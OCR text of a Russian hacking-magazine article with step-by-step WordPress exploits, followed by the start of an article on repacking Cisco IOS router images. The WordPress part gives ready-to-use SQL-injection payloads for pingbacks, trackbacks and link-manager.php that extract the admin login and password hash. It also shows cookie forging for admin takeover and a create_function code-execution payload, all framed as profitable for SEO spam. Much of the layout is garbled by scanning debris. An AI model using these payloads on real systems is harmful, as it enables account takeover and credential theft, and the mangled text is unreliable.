РедактированиекукисоввOpera
Генерациятаблицдляadmin takeover отЭлекта
links
• wordpress.org/ |
|
|
|
|
|
|
|
download/release- |
|
|
|
|
|
|
|
archive/ — архив |
|
|
|
|
|
|
|
Эксплойтдлябагисcreate_function |
|
|
|
|
|||
релизовWordPress. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
• milw0rm.com/ |
|
|
|
|
Спамвкомментариях |
||
|
value="Заголовок рсс" /> |
|
|||||
|
|
|
|
|
|||
exploits/4721 — |
|
<input name="widget-rss[1][items]" |
|
|
|
|
|
Charset Remote |
|
value="сколько показывать постов в рсс" /> |
|
|
$wpdb->posts WHERE ID = $post_id"); |
||
SQL Injection |
|
<input name="widget-rss[1][show_summary]" |
|
|
$pung = trim($pung); |
||
Vulnerability. |
|
type="checkbox" value="1" checked="checked"/> |
|
|
$pung = preg_split('/\s/', $pung); |
||
|
|
<input name="widget-rss[1][show_author]" |
|
|
$pung[] = $uri; |
||
• buayacorp.com/ |
|
type="checkbox» value="1" /> |
|
|
$new = implode("\n", $pung); |
||
files/wordpress/ |
|
<input name="widget-rss[1][show_date]" |
|
|
$new = apply_filters('add_ping', $new); |
||
wordpress-sql- |
|
type="checkbox" value="1" checked="checked"/> |
|
|
return $wpdb->query("UPDATE $wpdb->posts |
||
injection-advisory. |
|
<input type="hidden" name="widget-rss[1] |
|
|
SET pinged = '$new' WHERE ID = $post_id"); |
||
html — Remote |
|
[submit]" value="1" /> |
|
} |
|
||
SQL Injection in |
|
<input type='hidden' name='sidebar' |
|
|
|
|
|
|
|
|
|
||||
WordPress and |
|
value='wp_dashboard' /> |
Небольшиераскопкидаютпонять, чтофильтра«add_ping» |
||||
WordPress MU. |
|
<input type='hidden' name='widget_id' |
|
несуществуетвкодедвижка. |
|||
|
|
value='dashboard_primary' /> |
|
Получается, чтоданныеизпервогозапросаподставляются |
|||
• securityfocus. |
|
<input type='submit' value='Save' /> |
|
вовторойзапросбезкакой-либофильтрации! Атеперь |
|||
com/bid/27669 |
|
</form> |
|
оспособеэксплуатацииданнойуязвимости. Запасись |
|||
— WordPress |
|
|
|
|
терпением:). Чтобыиспользоватьбаг, тебенеобходимодве |
||
|
|
|
|
||||
'xmlrpc.php' Post |
Витоге, тыувидишьнаглавнойстраницеадминкиблога |
|
инсталляциивордпресса: |
||||
Edit Unauthorized |
свойevil-rss :). |
1. Всеравнокакойверсии. Создайновыйпостслюбымтайт- |
|||||
Access Vulnerability. |
Ахда, дляиспользованияэтойуязвимостинеобходимы: |
|
ломисодержимым: |
||||
|
1.Открытаярегистрациянаблоге; |
|
|
|
|
||
• securityfocus. |
2. Версиидвижкаот2.5 до2.6.5 включительно. |
|
|
<a href="http://ВТОРОЙ_БЛОГ/?p=[НОМЕР_ |
|||
com/bid/28845 |
|
|
|
|
|
ПОСТА]">pingme</a> |
|
— WordPress |
|
ЭТИЗАБАВНЫЕПИНГИ. ЧАСТЬ1 |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|||
'cat' Parameter |
Такужсложилось, чтонаибольшеечислоуязвимостей |
Запомниадрессозданногопоста(например, http://lamer/ |
|||||
Directory Traversal |
WordPress пришлоськакразнатехнологииPingback и |
|
wp1/?p=2). |
||||
Vulnerability. |
Trackback. Вотинаэтотраз, копаясьвфункциях, отвечаю- |
2.Вовторомблогеветки2.3.x-2.5.1создайпостслюбымсодер- |
|||||
|
щихзапинги, янашелсразу2 (!) фрагментированныеsql- |
|
жаниемилюбымтайтлом,авполе«Sendtrackbacksto:»пиши: |
||||
|
инъекциивовсехверсияхдвижкадо2.5.1 включительноис |
|
|
|
|
||
|
правамиauthor/editor (WordPress MU also affected). |
|
|
test',post_title=(select/**/concat(user_ |
|||
|
Длянаглядностивозьмемподопытныйдвижокзаномером |
|
|
login,':',user_pass)/**/from/**/wp_users/**/ |
|||
|
2.3.3. Открывай./wp-includes/post.php инаходивнемкод: |
|
|
where/**/id=1),post_content_filtered =’blah |
|||
|
|
|
|
|
|
|
|
|
|
|
|
Сохраняйпост. |
|||
|
|
function add_ping($post_id, $uri) { |
|||||
|
|
// Add a URL to those already pung |
Сновазаходивегоредактирование, нотеперьредактируй |
||||
|
|
global $wpdb; |
|
самосодержимоеивставляйтудассылкувhtml-форматена |
|||
|
|
$pung = $wpdb->get_var("SELECT pinged FROM |
|
постизпервогоблога: |
|||
|
|
|
|
|
|
|
|
054 |
XÀÊÅÐ 04 /124/ 09 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
>> взломw Click |
|
BUY |
|
|
|||||||||||
w Click |
to |
|
|
|
|
|
m |
to |
|
|
|
|
|
m |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
ЭксплойтыWordPress
<a href="http://lamer/wp1/?p=2">pingme</a>
Готово! Сохраняйся, переходинастраницунашегопостаинаслаждайся
НЕМОГУНЕПОДЕЛИТЬСЯС ТОБОЙЕЩЕОДНОЙЗАБАВ- НОЙSQL-ИНЪЕКЦИЕЙ, КОТОРАЯПРИСУТСТВУЕТВОВСЕХ ВЕРСИЯХДВИЖКА, НАЧИНАЯ С2.3.X ИЗАКАНЧИВАЯПОСЛЕДНЕЙНАДАННЫЙМОМЕНТ
2.7.1.
результатамивыполненияскуливвидехешаипароляадмина.
ЭТИЗАБАВНЫЕПИНГИ. ЧАСТЬ2
ВтораяSQL-инъекцияприсутствуетвмеханизметрэкбэковивыглядитужене такужасно.Открывайфайл./wp-includes/comment.phpинаходивнемкод:
function do_trackbacks($post_id) {
...
$to_ping = get_to_ping($post_id);
...
if ( $to_ping ) {
foreach ( (array) $to_ping as $tb_ping ) { $tb_ping = trim($tb_ping);
if ( !in_array($tb_ping, $pinged) ) { trackback($tb_ping, $post_title,
$excerpt, $post_id); $pinged[] = $tb_ping; } else {
$wpdb->query(«UPDATE $wpdb->posts SET to_ ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = '$post_id'");
}
}
}
}
Parse_str sql-инъекция
Здесьмынаблюдаемтужеситуацию: переменная$to_ping подставляет- сявследующийзапросбезкакой-либофильтрации.
ИспользоватьэтуSQL-инъекциюоченьпросто.
1.Создавайновыйпостив«Send trackbacks to:» вставляйследующее:
test','')),post_title=(select/**/concat(user_ login,':',user_pass)/**/from/**/wp_users/**/where/**/ id=1),post_content_filtered=TRIM(REPLACE(to_ping,'blah
2.Сохраняйпост, заходивредактированиевновьсозданногопостаи опятьвставляйтудатотжесамыйкод;
3.Сохраняйсяинаблюдайвтайтлепосталогинипарольадмина.
КОВАРНЫЙPARSE_STR
Не могу не поделиться с тобой еще одной забавной SQL-инъекци- ей, которая присутствует во всех версиях движка, начиная с 2.3.x и заканчивая последней на данный момент 2.7.1. Для использования инъекции необходимы права «manage_links». Для теста снова возь-
мем WordPress 2.3.3. Итак, открывай ./wp-admin/link-manager.php.
Вэтомфайлеприсутствуетследующийкод:
get_bookmarks( "category=$cat_id&hide_invisible=0&orde rby=$sqlorderby&hide_empty=0" );
Начинаяотэтогокода, попробуемпровестинебольшойреверсинг:
./wp-includes/bookmark.php
function get_bookmarks($args = '') {
...
$r = wp_parse_args( $args, $defaults ); extract( $r, EXTR_SKIP );
...
if ( ! empty($category_name) ) {
if ( $category = get_term_by('name', $category_name, 'link_category') )
$category = $category->term_id;
}
...
./wp-includes/formatting.php
function wp_parse_args( $args, $defaults = '' ) { if ( is_object($args) )
$r = get_object_vars($args); else if ( is_array( $args ) )
$r =& $args;
else
wp_parse_str( $args, $r );
if ( is_array( $defaults ) )
return array_merge( $defaults, $r );
else
return $r;
}
XÀÊÅÐ 04 /124/ 09 |
055 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
||
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
|
P |
|
|
|
|
|
NOW! |
o |
||
|
|
|
|
|
|
||||
w Click |
|
BUY |
>>m |
||||||
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
. |
|
|
|
|
|
.c |
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
взлом |
w |
|
|
to |
|
|
|
|
|
||
|
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
|
o |
m |
||||
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
Pingback sql-инъекция
Magic SEO Toolz — мойсборникэксплойтовдляWordPress
function wp_parse_str( $string, &$array ) { parse_str( $string, $array );
if ( get_magic_quotes_gpc() )
$array = stripslashes_deep( $array ); $array = apply_filters( 'wp_parse_str', $array );
}
./wp-includes/taxonomy.php
function get_term_by($field, $value, $taxonomy, $output = OBJECT, $filter = 'raw') {
...
}else if ( 'name' == $field ) {
//Assume already escaped $field = 't.name';
...
$term = $wpdb->get_row("SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = '$taxonomy' AND $field = '$value' LIMIT 1");
НаэтотразразработчикиWordPress неучли, что:
1.Функцияparse_str проводитсвоипараметрычерезurldecode, азначит, какая-либофильтрацияидетлесом(плюсwp_parse_str дополнительнопроводитнашиданныечерезstripslashes);
2.Вget_bookmarks() мысможемпередатьдополнительныепараметры дляparse_str спомощьюамперсанда(%26 вurlencode).
Отсюда, каклогичныйвывод, следуетblind sql-инъекция:
http://lamer.com/wp233/wp-admin/link-manager.php?cat_ id=all%26category_name=0%2527+union+select+1,2,3,4,5, 6,7,8,9,10+from+wp_users+where+1=1/*&order_by=order_ url&action=Update+%C2%BB
Условияздесьтакие:
а) 1=1 — ничегонеотображается; б) 1=2 — отображаетсясписокссылокблога.
WORDPRESS 2.5 COOKIE INTEGRITY PROTECTION VULNERABILITY
Ещеоднаинтереснейшаялогическаяуязвимость, которойуде-
лилинедостаточновнимания, — это«Cookie Integrity Protection Vulnerability». ЕйподверженWordPress 2.5. Вофициальномadvisory
насчетреальнойэксплуатациибагисказаномалоинесовсемпонятно, — такчтомногиедосихпоруменяинтересуются, какееиспользовать. Сутьбагидостаточнопроста: начинаясверсии2.5, вWordPress появиласьноваясистемаавторизацииихраненияпаролей, которую доконцаещенеуспелиотладить. Дляавторизациинаблогеиспользуетсяследующаясхемаформированиякукисов:
"wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME .
"|" . MAC
Расшифровкаэтихнепонятныхсимволовэлементарна: COOKIEHASH — md5-хешURL’асайта, гдеустановлендвижок; USERNAME — логинавторизуемогоюзера;
EXPIRY_TIME — времяистеченияжизникукисов;
MAC — злостноесочетаниеизHMAC-кода, полученногонаосновеимени юзераивременижизникукисов, атакжесекретныхключейизконфигаи БД. Еслитыещенепонял, тоскажутебе, чтопроблемазаключаетсякак развспособеконкатенацииэтихзначений.
Атеперьвнимание, — способэксплуатацииуязвимости:
1.Регистрируйюзерасименем«admin99»;
2.Авторизуйсянаблоге;
3.Отредактируйсвоикукисы(вОпере: ИнструментыÆДополнительно ÆРедактированиеcookies) следующимобразом:
Áûëî:
wordpress_[ХЕШ] = admin99|время|MAC Стало:
wordpress_[ХЕШ] = admin|99время|MAC
Витоге, сновымикукисамитыблагополучноавторизуешьсясправами админа.
WORDPRESS 2.7.X ADMIN REMOTE CODE EXECUTION EXPLOIT
Выполнениепроизвольногокодавадминкечерезcreate_function (баг нашелнекийRyat[puretot]) — ещеоднаинтереснаяуязвимость, поче- му-тооставшаясянетолькобезвниманияхакеров, ноибезвнимания разработчиков!
Эксплойткнейпоявилсяещевверсии2.7, новпоследнемвордпрессе (сейчас— 2.7.1) дырапо-прежнемунезакрыта.
Проведемнебольшойаудиткода./wp-admin/post.php:
if ( current_user_can('edit_post', $post_ID) ) {
if ( $last = wp_check_post_lock( $post->ID ) ) { $last_user = get_userdata( $last );
056 |
XÀÊÅÐ 04 /124/ 09 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
t |
|
||
P |
D |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
NOW! |
r |
||||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
m |
|
w Click |
|
|
|
|
|
|
o |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
|
e |
|
||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
>>
РедактированиеRSS-фидавWordPress 2.5-2.6.5
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
УязвимостиWordPress
Работаодногоизприватныхэксплойтовдля2.x ветки
XÀÊÅÐ 04 /124/ 09
$last_user_name = $last_user ? $last_user- >display_name : __('Somebody');
$message = sprintf( __( 'Warning: %s is currently editing this post' ), wp_specialchars( $last_user_name ) );
$message = str_replace( "'", "\'", "<div class='error'><p>$message</p></div>" );
add_action('admin_notices', create_function( '', "echo '$message';" ) );
}
else { wp_set_post_lock( $post->ID ); wp_enqueue_script('autosave');
}
}
Изанализаэтогокодавидно, чтоюзерсправами«edit_post» может провестиинъекциюпроизвольногокодаследующимобразом:
1. Сменитьзначение«display_name» начто-товроде\’;phpinfo();\’. В
результатепеременная$message будетвыглядетьтак:
Warning: \';phpinfo();\' is currently editing this post
2. Когда$message пройдетstripslashes ипопадетвcreate_function(),
создастсяфункциястакимвотинтереснымтелом:
{
echo '<div class='error'><p>';phpinfo();'</p></div>';
}
Каквидишь, налицобанальныйcode exec. Ссылкунаэксплойтищив сносках. Добавлю, чтоэксплойтпредназначендляюзерасправами admin, но, немногоподумав, тысможешьисправитьегодляработыс правамиauthor/editor.
ИТОГИ
Жесткие рамки статьи не позволяют рассказать обо всех найденных мной и другими людьми уязвимостях WordPress, но я этого и не хочу :). Описанные тут уязвимости — лишь верхушка айсберга. Существуют гораздо более серьезные и полезные баги во всех, даже самых последних, версиях движка. Эти баги не только стоят множество зеленых президентов, но и позволяют безбедно жить на поприще SEO. Поэтому могу лишь пожелать разработчикам вордпресса оставаться такими, какие они есть: невнимательными и забавными в своей простоте.z
057
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
ЕВГЕНИЙ «SHADOS» ХАБАРОВ
/ SHADOS@MAIL.RU/
ИМПЛАНТАЦИЯ
CISCO
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
МОДИФИЦИРОВАНИЕ ПРОШИВКИ МАРШРУТИЗАТОРА
Приветствую, дорогой друг! Сегодня мы будем дарить вторую молодость (а может даже и жизнь) старым маршрутизаторам Cisco, практически не нарушая лицензионного соглашения. Пусть этот хакерский метод достаточно прост, но от этого он не становится менее интересным. Имя ему — «бинарный патчинг».
>> взлом
Сразукделу. Исходныеданныеследую- |
ДлятакойкошкиCisco IOS Feature Navigator |
какизначальностатьявбольшейстепени |
|||
щие: старенькаякошкаCisco 2611 сдвумя |
|
сообщит, чтопоследнийIOS имеетверсию |
исследовательская(just for fun). |
||
Ethernet-портами, 64 МбRAM и16 Мбна |
|
12.4(23). СистемныетребованиядляIOS 12.4(21) |
Уменяневозниклобыпотребностиписать |
||
Flash. Этомаксимальновозможныепара- |
|
снаборомEnterprise Base илиAdvanced |
статью, еслибынедвенебольшихпроблемы. О |
||
метры, поддерживаемыеплатформой(читай |
|
Security составляют128 MB DRAM и32 MB |
первойяужеупомянул— этообъемDRAM па- |
||
— увеличитьобъемDRAM памятииflash |
|
flash. Конечно, унаснет128 MB памяти, но |
мяти. Ксожалению, янеповелительпаяльника |
||
неполучитсяиз-заотсутствиявприроде |
|
попытканепытка, даипропускнаяспособность |
ивольтметра, такчтоздесьподелатьничегоне |
||
комплектующихбольшихобъемов). Исходя |
|
портовунасневысокая. Этопозволяетсделать |
могу. Стоиттольконадеяться, чтоОСнеуйдет |
||
изданныхCisco IOS Feature Navigator (tools. |
|
предположение, чтоОСможнозапуститьна |
вcore всамыйответственныймоментиз-за |
||
cisco.com/ITDIT/CFN/jsp/index.jsp), послед- |
|
моемустройстве. Осталосьпревратитьтеорию |
недостаткапамяти. Втораяпроблема, которая |
||
нейверсиейIOS дляэтогомаршрутизатора |
|
впрактику. |
застигламеняврасплох— эторазмерсамого |
||
является12.3(26) — вполнеестественнодля |
|
|
|
образаIOS 12.4 итотфакт, чтооннепомещается |
|
стольстарогопродукта(End-of-Sale — апрель |
|
|
EXTENDED, ИЛИЧТОХОТИМПОЛУЧИТЬ |
нафлешобъемом16 МB. Инеудивительно: |
|
|
|
||||
|
|
||||
2003, End-of-Life — апрель2008). Хочется |
Идеяпроста— загнатьбинарныйобраз |
файлобраза— c2600-entbasek9-mz.124-9. |
|||
получитьтольковсесамоепоследнееиновое, |
|
операционнойсистемыCisco IOS 12.4(21) |
T1.bin — которыйявзялдляэксперимента, |
||
авсесамоеновоеивкусноедоступнотольков |
|
снаборомфьючерсовEnterprise Base на |
занимает16,4 MB, тоесть17 257 364 байт. |
||
версии12.4 (точнее12.4T). Посылномердва, |
|
старенькиймаршрутизатор2611 сисходными |
Дажееслистеретьфлешсопциейno-squeeze- |
||
илидополнительныеисходныеданныетако- |
|
данными, представленнымивыше. |
reserve-space (командойerase /no-squeeze- |
||
вы: есливнимательноследитьзамодельным |
|
Вдальнейшем— использоватькактестовый |
reserve-space flash:), этонамнепоможет. |
||
рядоммаршрутизаторовCisco илипросто |
|
стенд, ибо10-мегабитныеинтерфейсыогра- |
Хотя, всвоевремя, дляобразаc2600-ik9o3s3- |
||
ознакомитьсясинформациейопродуктахна |
|
ничиваютегоприменениевдикойприроде, |
mz.123-13.bin былорешениемпроблемы(этот |
||
официальномсайте, томожнообнаружить, |
|
или, какговорится, in production. Стемже |
образчутьменьшеразмерасамойфлеш, идля |
||
чтосерия2600 включаетвсебя, например, |
|
успехомустройствоможетнадежнослужить |
егозагрузкитребуетсяотформатироватьеес |
||
маршрутизаторы2611XM. Отличаетсяэта |
|
файрволомкорпоративнойсетивзамен |
опцией, запрещающейрезервироватьсвобод- |
||
серияотсвоегопредшественниканезначи- |
|
какого-нибудьPIX (если, конечно, достаточно |
ноеместо). |
||
тельно: |
пропускнойспособностив10 Мбит), нотогда |
|
|
||
|
|
встаетвопрос— аестьлитакойфункционал, |
|
ЧТОДЕЛАТЬ? БЕЖАТЬ! |
|
|
|
|
|||
• Максимальный объем flash-памяти |
|
которыйможетпотребоватьсявIOS 12.4, но |
Решенияздесьможетбытьдва— либогрузить- |
||
увеличен до 48 MB (в 2611 — 16 MB) |
|
которогонетв12.3? Заподсказкойвновь |
сясtftp, чтоневсегдаудобно, либожевзломать |
||
• Максимальный объем SDRAM-памяти |
|
отправляюкCisco IOS Feature Navigator (tools. |
образтак, чтобыразмерсталменьше. Грубо |
||
увеличен до 128 MB (в 2611 — 64 MB) |
|
cisco.com/ITDIT/CFN/Dispatch). Утилита |
говоря, перепаковатьего(собственно, этои |
||
• Интегрированные 10/100 Fast |
|
сравненияобразовтебевпомощь, ноответ, |
былоотчастисделано). |
||
Ethernet порты (в 2611 — 10 Мбит/c |
|
скореевсего, — «нет». Отсюдавывод— не |
ПосыломномертристалэмуляторDynamips. |
||
Ethernet) |
|
стоитменякоритьвмалойпрактичности, так |
Причемонтут? Именнооннатолкнулменяна |
||
|
|
|
|
|
|
058 |
XÀÊÅÐ 04 /124/ 09 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Advanced Enterprise Services
Advanced IP + Enterprise + Cisco IOS Firewall
|
|
|
|
|
|
|
|
|
|
|
|
|
Advanced IP Services |
|
|
|
|
Enterprice Services |
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
IPv6***, IS-IS, IP SLAs, IBM Services, |
|
|
|
|
|
IS-IS, MPLS, L2/L3 VPNs, IPv6***, |
|
|
|
|
|
|
|
|
|
Mobile Support, IP SLAs, etc. |
|
|
|
|
L3 Routed Protocols, etc. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
IP Services
EIGRP, OSPF, BGP, GLBP, QoS, High Availability, NAT, nBAR,
VRF-lite, Multicast, Virtual Switching System, etc.
>>Типы IOS
иих функционал
**EIGRP-STUB in IP Base will be available on the Cisco Catalyst 4500 Series (Sup4)
and the Cisco Catalyst 6500 Series.
*** Starting with 12.2(33)SXI on the 6500 series, Cisco is offering packaging parity for IPv6 feature support for a technology will be packeged in the same feature set as IPv4. This parity will be expended to other platforms in the future.
IP Base
RIP, HSRP/VRRP, StackWise, GRE, EIGRP STUB**, WCCP, etc.
LAN Base
ACL, QoS, Enhanced 802.1x, AutoQoS, AutoSecure, etc.
Layer 2 Base
Basic Ethernet L2. 802, tx. 802. ts. 802.w.
Ether Chanel, 802. 1d, Port Security. SmartPorts, SSH, etc.
мысльоперепаковкеобраза. Есливзглянутьнараздел«How to use?» на официальномсайтепроекта(www.ipflow.utc.fr/index.php/Cisco_7200_ Simulator), томожнообнаружить, чтоэмуляториспользуетраспакованныеобразыдляускорениязагрузки:
…
<skipped>
To boot quickly, the preferred method is to decompress the IOS image with the «unzip» utility. It avoids to run the self-decompressing process in the emulator. chris@portchris2:~/dynamips-0.2.5$ unzip -p c7200- advipservicesk9-mz.124-9.T.bin > image.bin
warning [c7200-advipservicesk9-mz.124-9.T.bin]: 27904 extra bytes at beginning or within zipfile
(attempting to process anyway) chris@portchris2:~/dynamips-0.2.5$ file image.bin image.bin: ELF 32-bit MSB executable, cisco 7200, version 1 (SYSV), statically linked, stripped
You can ignore the warning, unzip has just skipped the self-decompressing code at the beginning of the image. Now, you can boot the imagå
<skipped>
…
Еслиестьзапакованныйобраз, томожнопопытатьсяиспользовать болееоптимальныепараметрысжатия, которыепозволятпоместить образнафлеш. Обращаювниманиенаважнуюдеталь— таккакмы несобираемсяпереписыватьсамораспаковывающийсякод, тоесть заниматьсядизассемблированием(даиассемблерпод32-битные процессорыPowerPC янезнаю), тосамалгоритмсжатияменятьмыне
сможем. Самораспаковывающаясячастьпростонесможетраспаковать архивы, сжатыедругимиметодами. Поповодуиспользуемоговобразе алгоритмасжатия— можновзглянутьвотсюда: Cisco IOS Configuration Fundamentals Configuration Guide, Release 12.4 — Loading and Managing System Images, пунктImage Naming Conventions. Поле«тип» вимени образакакразотвечаетзаегохарактеристики:
f - The image runs from flash memory m - The image runs from RAM
r - The image runs from ROM l - The image is relocatable
z - The image is zip compressed x -The image is mzip compressed
Внашемслучаеобразимееттипmz — работаетвпамятиизапакованкак развzip-архив. Убедитьсявэтомпросто— большинствоархиваторов (WinZIP, WinRAR, 7zip) слегкостьюоткрываютегоираспаковывают.
УПАКОВКА
Немудрствуялукаво, пытаемсяперепаковатьархивзановосмаксимальновозможнойстепеньюсжатия. Сразужеотмечаем, чтоиспользуемыйметод— deflate иизменитьегонеполучится. Яиспользовалчетыре архиватора, чтобысравнитьихиполучилтакойрезультат:
7-zip 4.65 со следующими параметрами: Формат архива — zip
Уровень сжатия — Ультра Метод сжатия — Deflate Размер словаря — 32КB Размер слова — 258
